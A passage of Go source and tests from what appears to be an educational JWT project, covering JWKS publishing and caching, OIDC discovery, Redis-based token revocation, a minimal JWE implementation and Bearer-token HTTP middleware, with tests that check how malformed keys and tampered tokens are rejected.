Alg string `json:"alg,omitempty"`
N string `json:"n,omitempty"`
E string `json:"e,omitempty"`
Crv string `json:"crv,omitempty"`
X string `json:"x,omitempty"`
Y string `json:"y,omitempty"`
}
// Set is a JWK Set: {"keys": [...]}.
type Set struct {
Keys []JWK `json:"keys"`
}
var b64 = base64.RawURLEncoding
// FromKey exports the public half of k.
func FromKey(k keys.Key) (JWK, error) {
j := JWK{Kid: k.ID, Alg: k.Alg, Use: "sig"}
switch pub := k.Public.(type) {
case ed25519.PublicKey:
j.Kty, j.Crv, j.X = "OKP", "Ed25519", b64.EncodeToString(pub)
case *ecdsa.PublicKey:
j.Kty, j.Crv = "EC", "P-256"
j.X = b64.EncodeToString(pub.X.FillBytes(make([]byte, 32)))
j.Y = b64.EncodeToString(pub.Y.FillBytes(make([]byte, 32)))
case *rsa.PublicKey:
j.Kty = "RSA"
j.N = b64.EncodeToString(pub.N.Bytes())
j.E = b64.EncodeToString(big.NewInt(int64(pub.E)).Bytes())
default:
return JWK{}, fmt.Errorf("jwks: cannot publish key %q (symmetric keys are never published)", k.ID)
}
return j, nil
}
// Marshal builds a JWK Set document from public keys.
func Marshal(ks ...keys.Key) ([]byte, error) {
s := Set{Keys: []JWK{}}
for _, k := range ks {
j, err := FromKey(k)
if err != nil {
return nil, err
}
s.Keys = append(s.Keys, j)
}
return json.Marshal(s)
}
// ErrNoAlg is returned for JWKs without "alg": we refuse to guess.
var ErrNoAlg = errors.New("jwks: key has no alg; refusing to guess the algorithm")
// Key converts a JWK to a verification key bound to its algorithm.
func (j JWK) Key() (keys.Key, error) {
if j.Kid == "" {
return keys.Key{}, errors.New("jwks: key without kid")
}
if j.Use != "" && j.Use != "sig" {
return keys.Key{}, fmt.Errorf("jwks: key %q has use %q, not sig", j.Kid, j.Use)
}
if j.Alg == "" {
return keys.Key{}, ErrNoAlg
}
k := keys.Key{ID: j.Kid, Alg: j.Alg}
switch {
case j.Kty == "OKP" && j.Crv == "Ed25519" && j.Alg == keys.EdDSA:
x, err := b64.DecodeString(j.X)
if err != nil || len(x) != ed25519.PublicKeySize {
return keys.Key{}, fmt.Errorf("jwks: bad Ed25519 key %q", j.Kid)
}
k.Public = ed25519.PublicKey(x)
case j.Kty == "EC" && j.Crv == "P-256" && j.Alg == keys.ES256:
x, err1 := b64.DecodeString(j.X)
y, err2 := b64.DecodeString(j.Y)
if err1 != nil || err2 != nil || len(x) != 32 || len(y) != 32 {
return keys.Key{}, fmt.Errorf("jwks: bad P-256 key %q", j.Kid)
}
// crypto/ecdh validates that the point is on the curve.
if _, err := ecdh.P256().NewPublicKey(append(append([]byte{4}, x...), y...)); err != nil {
return keys.Key{}, fmt.Errorf("jwks: P-256 key %q: %w", j.Kid, err)
}
k.Public = &ecdsa.PublicKey{Curve: elliptic.P256(), X: new(big.Int).SetBytes(x), Y: new(big.Int).SetBytes(y)}
case j.Kty == "RSA" && (j.Alg == keys.RS256 || j.Alg == keys.PS256):
n, err1 := b64.DecodeString(j.N)
e, err2 := b64.DecodeString(j.E)
if err1 != nil || err2 != nil || len(e) == 0 || len(e) > 4 {
return keys.Key{}, fmt.Errorf("jwks: bad RSA key %q", j.Kid)
}
pub := &rsa.PublicKey{N: new(big.Int).SetBytes(n), E: int(new(big.Int).SetBytes(e).Int64())}
if pub.N.BitLen() < 2048 {
return keys.Key{}, fmt.Errorf("jwks: RSA key %q is %d bits, need 2048+", j.Kid, pub.N.BitLen())
}
k.Public = pub
default:
return keys.Key{}, fmt.Errorf("jwks: unsupported kty/crv/alg %s/%s/%s for %q", j.Kty, j.Crv, j.Alg, j.Kid)
}
return k, nil
}
// Parse reads a JWK Set, skipping keys we cannot use (an IdP may publish
// encryption keys or algorithms we do not allow) and returning the rest.
func Parse(doc []byte) (map[string]keys.Key, []error) {
var s Set
if err := json.Unmarshal(doc, &s); err != nil {
return nil, []error{err}
}
out := make(map[string]keys.Key, len(s.Keys))
var skipped []error
for _, j := range s.Keys {
k, err := j.Key()
if err != nil {
skipped = append(skipped, err)
continue
}
out[k.ID] = k
}
return out, skipped
}The JWKS client and OIDC discovery: max-age clamp, refetch on unknown kid at most once per RefreshFloor, stale keys during IdP outages up to MaxStale, issuer equality and https jwks_uri:
package jwks
import (
"context"
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"strconv"
"strings"
"sync"
"time"
"academy/jwt-deep-dive/keys"
"academy/jwt-deep-dive/verify"
)
// Client caches a remote JWK Set and implements verify.KeySource.
//
// - fresh cache hit: no network
// - unknown kid: refetch, at most once per RefreshFloor (kid floods cannot
// turn the verifier into a DoS amplifier against the IdP)
// - expired cache: refetch; if the IdP is down, keep using the old keys
// for up to MaxStale
type Client struct {
URL string
HTTP *http.Client
DefaultTTL time.Duration // used when the response has no max-age (default 10 min)
MinTTL time.Duration // clamp for tiny max-age values (default 1 min)
MaxTTL time.Duration // clamp for huge max-age values (default 24 h)
RefreshFloor time.Duration // minimum gap between kid-miss refreshes (default 30 s)
MaxStale time.Duration // serve expired keys this long when the IdP fails (default 1 h)
Now func() time.Time
mu sync.Mutex
fetchMu sync.Mutex
keys map[string]keys.Key
expiresAt time.Time
lastAttempt time.Time
fetches int
}
// Fetches reports how many HTTP fetches happened (for tests and metrics).
func (c *Client) Fetches() int {
c.mu.Lock()
defer c.mu.Unlock()
return c.fetches
}
func (c *Client) now() time.Time {
if c.Now != nil {
return c.Now()
}
return time.Now()
}
func or(d, def time.Duration) time.Duration {
if d == 0 {
return def
}
return d
}
// Key implements verify.KeySource.
func (c *Client) Key(ctx context.Context, kid string) (keys.Key, error) {
now := c.now()
c.mu.Lock()
k, ok := c.keys[kid]
fresh := now.Before(c.expiresAt)
loaded := c.keys != nil
recent := now.Sub(c.lastAttempt) < or(c.RefreshFloor, 30*time.Second)
staleOK := now.Before(c.expiresAt.Add(or(c.MaxStale, time.Hour)))
c.mu.Unlock()
switch {
case ok && fresh:
return k, nil
case loaded && recent && !ok:
return keys.Key{}, verify.ErrUnknownKey // do not refetch on every bogus kid
case loaded && recent && staleOK:
return k, nil // expired, but we just tried the IdP: do not hammer it
}
err := c.refresh(ctx, now)
c.mu.Lock()
k2, ok2 := c.keys[kid]
c.mu.Unlock()
switch {
case err == nil && ok2:
return k2, nil
case err == nil:
return keys.Key{}, verify.ErrUnknownKey
case ok && staleOK:
return k, nil // IdP unreachable: keep verifying with the keys we have
default:
return keys.Key{}, fmt.Errorf("%w: %v", verify.ErrUnknownKey, err)
}
}
func (c *Client) refresh(ctx context.Context, started time.Time) error {
c.fetchMu.Lock()
defer c.fetchMu.Unlock()
c.mu.Lock()
if c.lastAttempt.After(started) || (c.lastAttempt.Equal(started) && c.keys != nil) {
c.mu.Unlock()
return nil // another goroutine refreshed while we waited
}
c.lastAttempt = started
c.fetches++
c.mu.Unlock()
hc := c.HTTP
if hc == nil {
hc = &http.Client{Timeout: 5 * time.Second}
}
req, err := http.NewRequestWithContext(ctx, http.MethodGet, c.URL, nil)
if err != nil {
return err
}
req.Header.Set("Accept", "application/jwk-set+json, application/json")
resp, err := hc.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("jwks: GET %s: %s", c.URL, resp.Status)
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
if err != nil {
return err
}
ks, _ := Parse(body)
if len(ks) == 0 {
return errors.New("jwks: no usable keys in response")
}
ttl := maxAge(resp.Header.Get("Cache-Control"), or(c.DefaultTTL, 10*time.Minute))
ttl = min(max(ttl, or(c.MinTTL, time.Minute)), or(c.MaxTTL, 24*time.Hour))
c.mu.Lock()
c.keys, c.expiresAt = ks, started.Add(ttl)
c.mu.Unlock()
return nil
}
func maxAge(cc string, def time.Duration) time.Duration {
for _, part := range strings.Split(cc, ",") {
part = strings.TrimSpace(part)
if v, ok := strings.CutPrefix(part, "max-age="); ok {
if n, err := strconv.Atoi(v); err == nil && n >= 0 {
return time.Duration(n) * time.Second
}
}
}
return def
}
// Metadata is the part of an OpenID Provider / RFC 8414 document we need.
type Metadata struct {
Issuer string `json:"issuer"`
JWKSURI string `json:"jwks_uri"`
SigningAlgValues []string `json:"id_token_signing_alg_values_supported"`
}
// Discover fetches <issuer>/.well-known/openid-configuration and binds the
// issuer to its keys (RFC 8725 section 3.8): the document must name exactly
// the issuer we asked for, and jwks_uri must be https.
func Discover(ctx context.Context, hc *http.Client, issuer string) (Metadata, error) {
u := strings.TrimSuffix(issuer, "/") + "/.well-known/openid-configuration"
req, err := http.NewRequestWithContext(ctx, http.MethodGet, u, nil)
if err != nil {
return Metadata{}, err
}
resp, err := hc.Do(req)
if err != nil {
return Metadata{}, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return Metadata{}, fmt.Errorf("discovery: %s", resp.Status)
}
var m Metadata
if err := json.NewDecoder(io.LimitReader(resp.Body, 1<<20)).Decode(&m); err != nil {
return Metadata{}, err
}
if m.Issuer != issuer {
return Metadata{}, fmt.Errorf("discovery: issuer %q does not match expected %q", m.Issuer, issuer)
}
if !strings.HasPrefix(m.JWKSURI, "https://") {
return Metadata{}, fmt.Errorf("discovery: jwks_uri %q is not https", m.JWKSURI)
}
return m, nil
}package jwks_test
import (
"context"
"errors"
"fmt"
"net/http"
"net/http/httptest"
"sync"
"testing"
"time"
"academy/jwt-deep-dive/jwks"
"academy/jwt-deep-dive/keys"
"academy/jwt-deep-dive/verify"
)
type clock struct {
mu sync.Mutex
t time.Time
}
func (c *clock) Now() time.Time { c.mu.Lock(); defer c.mu.Unlock(); return c.t }
func (c *clock) Advance(d time.Duration) { c.mu.Lock(); c.t = c.t.Add(d); c.mu.Unlock() }
// idp serves a mutable JWK Set like an identity provider does.
type idp struct {
mu sync.Mutex
doc []byte
status int
cc string
}
func (i *idp) publish(t *testing.T, ks ...keys.Key) {
doc, err := jwks.Marshal(ks...)
if err != nil {
t.Fatal(err)
}
i.mu.Lock()
i.doc, i.status = doc, http.StatusOK
i.mu.Unlock()
}
func (i *idp) ServeHTTP(w http.ResponseWriter, _ *http.Request) {
i.mu.Lock()
defer i.mu.Unlock()
if i.status != http.StatusOK {
w.WriteHeader(i.status)
return
}
if i.cc != "" {
w.Header().Set("Cache-Control", i.cc)
}
w.Header().Set("Content-Type", "application/jwk-set+json")
_, _ = w.Write(i.doc)
}
func setup(t *testing.T) (*idp, *jwks.Client, *clock) {
t.Helper()
p := &idp{cc: "public, max-age=300"}
srv := httptest.NewTLSServer(p)
t.Cleanup(srv.Close)
clk := &clock{t: time.Date(2026, 11, 26, 12, 0, 0, 0, time.UTC)}
c := &jwks.Client{URL: srv.URL + "/jwks.json", HTTP: srv.Client(), Now: clk.Now}
return p, c, clk
}
func mustKey(t *testing.T, kid string) keys.Key {
t.Helper()
k, err := keys.NewEdDSA(kid)
if err != nil {
t.Fatal(err)
}
return k
}
func TestRotation(t *testing.T) {
p, c, clk := setup(t)
ctx := context.Background()
k1, k2 := mustKey(t, "2026-11"), mustKey(t, "2026-12")
p.publish(t, k1) // day 0: only k1
if _, err := c.Key(ctx, "2026-11"); err != nil {
t.Fatal(err)
}
p.publish(t, k1, k2) // day 1: k2 is published BEFORE anyone signs with it
clk.Advance(time.Minute)
if _, err := c.Key(ctx, "2026-11"); err != nil || c.Fetches() != 1 {
t.Fatalf("cached k1: err=%v fetches=%d", err, c.Fetches())
}
// day 2: the IdP starts signing with k2; our cache has not seen it yet.
if _, err := c.Key(ctx, "2026-12"); err != nil {
t.Fatalf("unknown kid should trigger one refresh: %v", err)
}
if c.Fetches() != 2 {
t.Fatalf("fetches = %d, want 2", c.Fetches())
}
// day 9: k1 retired from the set; tokens signed with k1 have all expired.
p.publish(t, k2)
clk.Advance(10 * time.Minute)
if _, err := c.Key(ctx, "2026-11"); !errors.Is(err, verify.ErrUnknownKey) {
t.Fatalf("retired key still accepted: %v", err)
}
}
func TestUnknownKidFloodIsRateLimited(t *testing.T) {
p, c, clk := setup(t)
p.publish(t, mustKey(t, "real"))
ctx := context.Background()
if _, err := c.Key(ctx, "real"); err != nil {
t.Fatal(err)
}
clk.Advance(31 * time.Second)
for i := range 1000 {
_, _ = c.Key(ctx, fmt.Sprintf("bogus-%d", i))
}
if c.Fetches() != 2 {
t.Fatalf("1000 bogus kids caused %d fetches, want 2", c.Fetches())
}
}
func TestCacheControlAndStaleOnError(t *testing.T) {
p, c, clk := setup(t)
p.cc = "max-age=120"
k := mustKey(t, "k")
p.publish(t, k)
ctx := context.Background()
if _, err := c.Key(ctx, "k"); err != nil {
t.Fatal(err)
}
clk.Advance(119 * time.Second)
_, _ = c.Key(ctx, "k")
if c.Fetches() != 1 {
t.Fatalf("refetched before max-age: %d", c.Fetches())
}
p.mu.Lock()
p.status = http.StatusServiceUnavailable // the IdP has an outage
p.mu.Unlock()
clk.Advance(2 * time.Second)
if _, err := c.Key(ctx, "k"); err != nil {
t.Fatalf("stale key should be served during an IdP outage: %v", err)
}
for range 50 {
_, _ = c.Key(ctx, "k")
}
if c.Fetches() != 2 {
t.Fatalf("outage caused %d fetches, want 2 (no hammering)", c.Fetches())
}
clk.Advance(2 * time.Hour) // beyond MaxStale (1 h)
if _, err := c.Key(ctx, "k"); err == nil {
t.Fatal("keys served beyond MaxStale")
}
}
func TestDiscovery(t *testing.T) {
var srvURL string
mux := http.NewServeMux()
mux.HandleFunc("/.well-known/openid-configuration", func(w http.ResponseWriter, _ *http.Request) {
fmt.Fprintf(w, `{"issuer":%q,"jwks_uri":%q}`, srvURL, srvURL+"/jwks.json")
})
srv := httptest.NewTLSServer(mux)
defer srv.Close()
srvURL = srv.URL
ctx := context.Background()
m, err := jwks.Discover(ctx, srv.Client(), srv.URL)
if err != nil || m.JWKSURI != srv.URL+"/jwks.json" {
t.Fatalf("discover: %+v %v", m, err)
}
if _, err := jwks.Discover(ctx, srv.Client(), srv.URL+"/tenant-b"); err == nil {
t.Fatal("issuer mismatch accepted")
}
}
func TestJWKRoundTripAndRejections(t *testing.T) {
ed := mustKey(t, "ed")
es, _ := keys.NewES256("es")
rs, _ := keys.NewRSA("rs", keys.PS256, 2048)
doc, err := jwks.Marshal(ed, es, rs)
if err != nil {
t.Fatal(err)
}
got, skipped := jwks.Parse(doc)
if len(got) != 3 || len(skipped) != 0 {
t.Fatalf("got %d keys, skipped %v", len(got), skipped)
}
if got["rs"].Alg != keys.PS256 {
t.Fatal("alg not preserved")
}
bad := []byte(`{"keys":[
{"kty":"OKP","crv":"Ed25519","kid":"noalg","x":"11qYAYKxCrfVS_7TyWQHOg7hcvPapiMlrwIaaPcHURo"},
{"kty":"EC","crv":"P-256","alg":"ES256","kid":"offcurve","x":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","y":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE"},
{"kty":"RSA","alg":"RS256","kid":"small","n":"AQAB","e":"AQAB"},
{"kty":"RSA","alg":"RSA-OAEP","use":"enc","kid":"enc","n":"AQAB","e":"AQAB"}]}`)
got, skipped = jwks.Parse(bad)
if len(got) != 0 || len(skipped) != 4 {
t.Fatalf("accepted %d bad keys, skipped %d", len(got), len(skipped))
}
if _, err := jwks.Marshal(func() keys.Key { k, _ := keys.NewHS256("hs", keys.RandomSecret(32)); return k }()); err == nil {
t.Fatal("an HMAC secret was published")
}
}Revocation in Redis: jti denylist with EXAT, sid logout, per-user versions, one MGET per request, fail-closed by default:
// Package revocation adds state back to stateless tokens, as cheaply as
// possible: one Redis round trip per request (MGET of three keys).
//
// jwt:{sub}:jti:<jti> exists until the token's own exp (one token)
// jwt:{sub}:sid:<sid> exists for the max token lifetime (one session)
// jwt:{sub}:ver integer, bumped on password change (all tokens)
//
// The {sub} hash tag puts the three keys in one Redis Cluster slot.
package revocation
import (
"context"
"errors"
"fmt"
"strconv"
"time"
"github.com/redis/go-redis/v9"
"academy/jwt-deep-dive/issuer"
"academy/jwt-deep-dive/verify"
)
// Store is the Redis-backed denylist and version table.
type Store struct {
R *redis.Client
// MaxTokenTTL bounds how long a session revocation must be remembered:
// after that, every token of the session has expired by itself.
MaxTokenTTL time.Duration
// FailOpen accepts tokens when Redis is unreachable. Default false:
// a revoked admin token must not come back during a Redis outage.
FailOpen bool
}
func key(sub, kind, id string) string { return fmt.Sprintf("jwt:{%s}:%s:%s", sub, kind, id) }
func verKey(sub string) string { return fmt.Sprintf("jwt:{%s}:ver", sub) }
// RevokeToken denylists one jti until its exp (SET ... EXAT, Redis 6.2+).
// The entry expires exactly when the token would have expired anyway.
func (s *Store) RevokeToken(ctx context.Context, c *issuer.Claims) error {
if c.ExpiresAt == nil || c.ID == "" {
return errors.New("revocation: need jti and exp")
}
return s.R.SetArgs(ctx, key(c.Subject, "jti", c.ID), 1, redis.SetArgs{ExpireAt: c.ExpiresAt.Time}).Err()
}
// RevokeSession logs out one session (one device) by its sid.
func (s *Store) RevokeSession(ctx context.Context, sub, sid string) error {
return s.R.Set(ctx, key(sub, "sid", sid), 1, s.MaxTokenTTL).Err()
}
// BumpVersion invalidates every token of a user issued before now
// (password change, "log out everywhere", account compromise).
// The issuer must read Version and put it in the "ver" claim.
func (s *Store) BumpVersion(ctx context.Context, sub string) (int64, error) {
return s.R.Incr(ctx, verKey(sub)).Result()
}
// Version returns the user's current token version (0 if never bumped).
func (s *Store) Version(ctx context.Context, sub string) (int64, error) {
v, err := s.R.Get(ctx, verKey(sub)).Int64()
if errors.Is(err, redis.Nil) {
return 0, nil
}
return v, err
}
// Check implements verify.Revocation.
func (s *Store) Check(ctx context.Context, c *issuer.Claims) error {
vals, err := s.R.MGet(ctx, key(c.Subject, "jti", c.ID), key(c.Subject, "sid", c.SID), verKey(c.Subject)).Result()
if err != nil {
if s.FailOpen {
return nil
}
return fmt.Errorf("%w: %v", verify.ErrRevocationOff, err)
}
if vals[0] != nil {
return fmt.Errorf("%w: jti denylisted", verify.ErrRevoked)
}
if c.SID != "" && vals[1] != nil {
return fmt.Errorf("%w: session logged out", verify.ErrRevoked)
}
if v, ok := vals[2].(string); ok {
cur, _ := strconv.ParseInt(v, 10, 64)
if c.Ver < cur {
return fmt.Errorf("%w: token version %d < %d", verify.ErrRevoked, c.Ver, cur)
}
}
return nil
}package revocation_test
import (
"context"
"errors"
"testing"
"time"
"github.com/alicebob/miniredis/v2"
"github.com/redis/go-redis/v9"
"academy/jwt-deep-dive/issuer"
"academy/jwt-deep-dive/keys"
"academy/jwt-deep-dive/revocation"
"academy/jwt-deep-dive/verify"
)
func setup(t *testing.T) (*miniredis.Miniredis, *revocation.Store, *issuer.Issuer, *verify.Verifier) {
t.Helper()
mr := miniredis.RunT(t)
store := &revocation.Store{R: redis.NewClient(&redis.Options{Addr: mr.Addr()}), MaxTokenTTL: 15 * time.Minute}
k, _ := keys.NewEdDSA("k1")
iss := &issuer.Issuer{Issuer: "https://id.example.com", Key: k, TTL: 10 * time.Minute}
v := &verify.Verifier{
Issuer: iss.Issuer, Audience: "orders", Algorithms: []string{keys.EdDSA},
Leeway: 30 * time.Second, Keys: verify.Static{k.ID: k.PublicOnly()}, Revocation: store,
}
return mr, store, iss, v
}
func TestDenylistByJTI(t *testing.T) {
mr, store, iss, v := setup(t)
ctx := context.Background()
raw, claims, _ := iss.Issue(issuer.Request{Subject: "u1", Audience: []string{"orders"}, SID: "s1"})
if _, err := v.Verify(ctx, raw); err != nil {
t.Fatal(err)
}
if err := store.RevokeToken(ctx, &claims); err != nil {
t.Fatal(err)
}
if _, err := v.Verify(ctx, raw); !errors.Is(err, verify.ErrRevoked) {
t.Fatalf("want ErrRevoked, got %v", err)
}
// The denylist entry lives exactly as long as the token: no cleanup job.
if ttl := mr.TTL("jwt:{u1}:jti:" + claims.ID); ttl <= 0 || ttl > 10*time.Minute {
t.Fatalf("denylist TTL = %v", ttl)
}
}
func TestLogoutOneSession(t *testing.T) {
_, store, iss, v := setup(t)
ctx := context.Background()
phone, _, _ := iss.Issue(issuer.Request{Subject: "u1", Audience: []string{"orders"}, SID: "phone"})
laptop, _, _ := iss.Issue(issuer.Request{Subject: "u1", Audience: []string{"orders"}, SID: "laptop"})
_ = store.RevokeSession(ctx, "u1", "phone")
if _, err := v.Verify(ctx, phone); !errors.Is(err, verify.ErrRevoked) {
t.Fatalf("phone session still valid: %v", err)
}
if _, err := v.Verify(ctx, laptop); err != nil {
t.Fatalf("laptop session wrongly revoked: %v", err)
}
}
func TestTokenVersioningLogsOutEverywhere(t *testing.T) {
_, store, iss, v := setup(t)
ctx := context.Background()
ver, _ := store.Version(ctx, "u1")
old, _, _ := iss.Issue(issuer.Request{Subject: "u1", Audience: []string{"orders"}, Version: ver})
newVer, _ := store.BumpVersion(ctx, "u1") // password changed
fresh, _, _ := iss.Issue(issuer.Request{Subject: "u1", Audience: []string{"orders"}, Version: newVer})
if _, err := v.Verify(ctx, old); !errors.Is(err, verify.ErrRevoked) {
t.Fatalf("old token survived a version bump: %v", err)
}
if _, err := v.Verify(ctx, fresh); err != nil {
t.Fatalf("new token rejected: %v", err)
}
}
func TestRedisDownFailsClosedByDefault(t *testing.T) {
mr, store, iss, v := setup(t)
raw, _, _ := iss.Issue(issuer.Request{Subject: "u1", Audience: []string{"orders"}})
mr.Close()
if _, err := v.Verify(context.Background(), raw); !errors.Is(err, verify.ErrRevocationOff) {
t.Fatalf("want ErrRevocationOff, got %v", err)
}
store.FailOpen = true
if _, err := v.Verify(context.Background(), raw); err != nil {
t.Fatalf("fail-open should accept: %v", err)
}
}JWE dir + A256GCM and a nested sign-then-encrypt test:
// Package jwe implements the smallest useful JWE (RFC 7516): compact
// serialization, key management mode "dir" (Direct Encryption) and content
// encryption "A256GCM". It exists to show the five parts; production code
// that needs RSA-OAEP-256 or ECDH-ES should use a maintained JOSE library.
package jwe
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"strings"
)
var b64 = base64.RawURLEncoding
// Header is the JWE Protected Header.
type Header struct {
Alg string `json:"alg"` // key management: "dir"
Enc string `json:"enc"` // content encryption: "A256GCM"
Cty string `json:"cty,omitempty"` // "JWT" when the plaintext is a signed JWT
Kid string `json:"kid,omitempty"`
Zip string `json:"zip,omitempty"` // never set: RFC 8725 3.6, no compression
}
// Encrypt returns BASE64URL(header).<empty key>.BASE64URL(iv).BASE64URL(ct).BASE64URL(tag).
func Encrypt(cek []byte, kid, cty string, plaintext []byte) (string, error) {
if len(cek) != 32 {
return "", errors.New("jwe: A256GCM needs a 256-bit key")
}
hb, _ := json.Marshal(Header{Alg: "dir", Enc: "A256GCM", Cty: cty, Kid: kid})
protected := b64.EncodeToString(hb)
gcm, err := newGCM(cek)
if err != nil {
return "", err
}
iv := make([]byte, gcm.NonceSize()) // 96 bits, fresh per message
if _, err := rand.Read(iv); err != nil {
return "", err
}
// The protected header is the Additional Authenticated Data: changing
// one header byte breaks the tag.
sealed := gcm.Seal(nil, iv, plaintext, []byte(protected))
ct, tag := sealed[:len(sealed)-gcm.Overhead()], sealed[len(sealed)-gcm.Overhead():]
return strings.Join([]string{protected, "", b64.EncodeToString(iv), b64.EncodeToString(ct), b64.EncodeToString(tag)}, "."), nil
}
// Decrypt checks the algorithms against an allowlist before touching keys.
func Decrypt(cek []byte, compact string) (Header, []byte, error) {
parts := strings.Split(compact, ".")
if len(parts) != 5 {
return Header{}, nil, fmt.Errorf("jwe: %d parts, want 5", len(parts))
}
hb, err := b64.DecodeString(parts[0])
if err != nil {
return Header{}, nil, err
}
var h Header
if err := json.Unmarshal(hb, &h); err != nil {
return Header{}, nil, err
}
if h.Alg != "dir" || h.Enc != "A256GCM" || h.Zip != "" {
return Header{}, nil, fmt.Errorf("jwe: alg/enc/zip %q/%q/%q not allowed", h.Alg, h.Enc, h.Zip)
}
if parts[1] != "" {
return Header{}, nil, errors.New("jwe: dir mode must have an empty encrypted key")
}
iv, err1 := b64.DecodeString(parts[2])
ct, err2 := b64.DecodeString(parts[3])
tag, err3 := b64.DecodeString(parts[4])
if err := errors.Join(err1, err2, err3); err != nil {
return Header{}, nil, err
}
gcm, err := newGCM(cek)
if err != nil {
return Header{}, nil, err
}
if len(iv) != gcm.NonceSize() || len(tag) != gcm.Overhead() {
return Header{}, nil, errors.New("jwe: bad iv or tag length")
}
pt, err := gcm.Open(nil, iv, append(ct, tag...), []byte(parts[0]))
if err != nil {
return Header{}, nil, errors.New("jwe: authentication failed")
}
return h, pt, nil
}
func newGCM(key []byte) (cipher.AEAD, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
return cipher.NewGCM(block)
}package jwe_test
import (
"context"
"strings"
"testing"
"time"
"academy/jwt-deep-dive/issuer"
"academy/jwt-deep-dive/jwe"
"academy/jwt-deep-dive/keys"
"academy/jwt-deep-dive/verify"
)
func TestNestedSignThenEncrypt(t *testing.T) {
sk, _ := keys.NewEdDSA("sig-1")
iss := issuer.Issuer{Issuer: "https://id.example.com", Key: sk, TTL: 5 * time.Minute}
inner, _, err := iss.Issue(issuer.Request{Subject: "patient-7", Audience: []string{"https://records.example.com"}})
if err != nil {
t.Fatal(err)
}
cek := keys.RandomSecret(32)
outer, err := jwe.Encrypt(cek, "enc-1", "JWT", []byte(inner))
if err != nil {
t.Fatal(err)
}
if got := strings.Count(outer, "."); got != 4 {
t.Fatalf("compact JWE has %d dots, want 4", got)
}
if strings.Contains(outer, "patient-7") {
t.Fatal("claims visible in ciphertext")
}
h, pt, err := jwe.Decrypt(cek, outer)
if err != nil || h.Cty != "JWT" {
t.Fatalf("decrypt: %v %+v", err, h)
}
// RFC 8725 3.3: decrypting is not verifying. Verify the inner JWS too.
v := verify.Verifier{Issuer: iss.Issuer, Audience: "https://records.example.com",
Algorithms: []string{keys.EdDSA}, Keys: verify.Static{sk.ID: sk.PublicOnly()}}
if _, err := v.Verify(context.Background(), string(pt)); err != nil {
t.Fatalf("inner JWS: %v", err)
}
}
func TestTamperAndAlgorithmAllowlist(t *testing.T) {
cek := keys.RandomSecret(32)
tok, _ := jwe.Encrypt(cek, "k", "", []byte(`{"sub":"x"}`))
parts := strings.Split(tok, ".")
flipped := []byte(parts[3])
if flipped[0] == 'A' {
flipped[0] = 'B'
} else {
flipped[0] = 'A'
}
if _, _, err := jwe.Decrypt(cek, strings.Join([]string{parts[0], "", parts[2], string(flipped), parts[4]}, ".")); err == nil {
t.Fatal("modified ciphertext decrypted")
}
// eyJhbGciOiJBMjU2S1ciLCJlbmMiOiJBMjU2R0NNIn0 = {"alg":"A256KW","enc":"A256GCM"}
if _, _, err := jwe.Decrypt(cek, "eyJhbGciOiJBMjU2S1ciLCJlbmMiOiJBMjU2R0NNIn0."+strings.Join(parts[1:], ".")); err == nil {
t.Fatal("algorithm outside the allowlist accepted")
}
if _, _, err := jwe.Decrypt(keys.RandomSecret(32), tok); err == nil {
t.Fatal("wrong key decrypted")
}
}Resource-server middleware: Bearer from the header only, RFC 6750 WWW-Authenticate errors, 403 insufficient_scope, 503 when the revocation store is down, and an end-to-end test through a TLS JWKS server:
// Package httpauth is resource-server middleware: Bearer token in, claims
// in the request context out, RFC 6750 error responses.
package httpauth
import (
"context"
"errors"
"fmt"
"log/slog"
"net/http"
"strings"
"academy/jwt-deep-dive/issuer"
"academy/jwt-deep-dive/verify"
)
type ctxKey struct{}
// ClaimsFrom returns the verified claims put there by Require.
func ClaimsFrom(ctx context.Context) (*issuer.Claims, bool) {
c, ok := ctx.Value(ctxKey{}).(*issuer.Claims)
return c, ok
}
// Require verifies the Authorization: Bearer token and every listed scope.
func Require(v *verify.Verifier, realm string, scopes ...string) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
raw, ok := bearer(r)
if !ok {
// RFC 6750 3.1: no error code when the request had no token.
w.Header().Set("WWW-Authenticate", fmt.Sprintf("Bearer realm=%q", realm))
http.Error(w, "authentication required", http.StatusUnauthorized)
return
}
c, err := v.Verify(r.Context(), raw)
switch {
case errors.Is(err, verify.ErrRevocationOff):
slog.Error("revocation store down", "err", err)
w.Header().Set("Retry-After", "1")
http.Error(w, "temporarily unavailable", http.StatusServiceUnavailable)
return
case err != nil:
// Log the reason; tell the client only "invalid_token".
slog.Info("jwt rejected", "reason", err.Error())
w.Header().Set("WWW-Authenticate", fmt.Sprintf("Bearer realm=%q, error=\"invalid_token\"", realm))
http.Error(w, "invalid token", http.StatusUnauthorized)
return
}
for _, s := range scopes {
if !verify.HasScope(c, s) {
w.Header().Set("WWW-Authenticate",
fmt.Sprintf("Bearer realm=%q, error=\"insufficient_scope\", scope=%q", realm, strings.Join(scopes, " ")))
http.Error(w, "insufficient scope", http.StatusForbidden)
return
}
}
next.ServeHTTP(w, r.WithContext(context.WithValue(r.Context(), ctxKey{}, c)))
})
}
}
// bearer reads only the Authorization header: never the query string,
// where tokens leak into access logs, browser history and Referer.
func bearer(r *http.Request) (string, bool) {
h := r.Header.Get("Authorization")
scheme, tok, ok := strings.Cut(h, " ")
if !ok || !strings.EqualFold(scheme, "Bearer") || tok == "" {
return "", false
}
return strings.TrimSpace(tok), true
}package httpauth_test
import (
"fmt"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"academy/jwt-deep-dive/httpauth"
"academy/jwt-deep-dive/issuer"
"academy/jwt-deep-dive/jwks"
"academy/jwt-deep-dive/keys"
"academy/jwt-deep-dive/verify"
)
// TestGatewayFlow wires the whole chain: IdP publishes a JWKS, the resource
// server discovers nothing but the JWKS URL, verifies, and checks scopes.
func TestGatewayFlow(t *testing.T) {
k, _ := keys.NewES256("es-2026-11")
doc, _ := jwks.Marshal(k)
